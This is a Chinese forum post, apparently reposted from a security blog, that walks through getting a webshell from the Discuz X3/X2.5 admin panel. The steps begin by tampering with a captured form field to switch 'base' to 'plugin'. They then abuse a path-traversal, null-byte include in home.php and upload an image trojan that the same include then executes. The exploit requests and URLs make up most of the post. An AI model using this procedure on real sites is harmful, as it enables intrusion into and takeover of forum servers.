请选择 进入手机版 | 继续访问电脑版

芯机智

 找回密码
 立即注册

扫一扫,访问微社区

搜索
热搜: 活动 交友 discuz
查看: 3826|回复: 1

dz3.0/2.5 后台拿shell[Discuz 后台拿shell]

[复制链接]

535

主题

625

帖子

7258

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
7258
发表于 2013-6-30 14:47:41 | 显示全部楼层 |阅读模式
上班后看到wooyun社区发布了一个discuz  x3后台拿shell的方法,随后t00ls的会员也测试了discuz x2.5的后台拿shell方法。
好蛋疼的是我测试居然没过,抓到的数据包和给出的案例不一样!!!
经过研究发现,步骤错了。。。。
原帖地址内容:
http://zone.wooyun.org/content/3894
用户 – 用户栏目 – 栏目分组 – 提交 – 抓包 (我就是在这步出错的,一定要提交,不然抓到的数据包不一样)
查看源代码
打印帮助

1Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"



改为
查看源代码
打印帮助

1Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"



访问
查看源代码
打印帮助

1/home.php?mod=spacecp&id=../../robots.txt%0057



利用:
原帖测试的是dz x3,我测试的是dz x2.5  无视gpc
*********************************************************************
1.首先进后台,抓个包
2013052411300201-1024x584.jpg
2.改包

查看源代码
打印帮助

1Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"



改为
查看源代码
打印帮助

1Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"



提交
2013052411514402.jpg
3.提交过后访问
/home.php?mod=spacecp&id=../../robots.txt%00
2013052411523903-1024x698.jpg
4.找个地方上传图片马
2013052412221104.jpg
5.访问图片马
查看源代码
打印帮助

1http://192.168.2.190//home.php?mod=spacecp&id=../../data/attachment/forum/201305/24/122111m1464cdtfkc0stt1.gif%00




[url=][/url]         [url=][/url]         [url=][/url]         [url=][/url]         [url=][/url]         [url=]0[/url]



本文固定链接: http://www.unhonker.com/bug/1217.html | 90' s Blog|关注网络信息安全
在终极的分析中,一切知识都是历史;在抽象的意义下,一切科学都是数学;在理性的基础上,所有的判断都是统计。——C.R. Rao
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|芯机智 ( 京ICP备18048803号 )

GMT+8, 2021-3-5 15:39 , Processed in 0.550659 second(s), 25 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表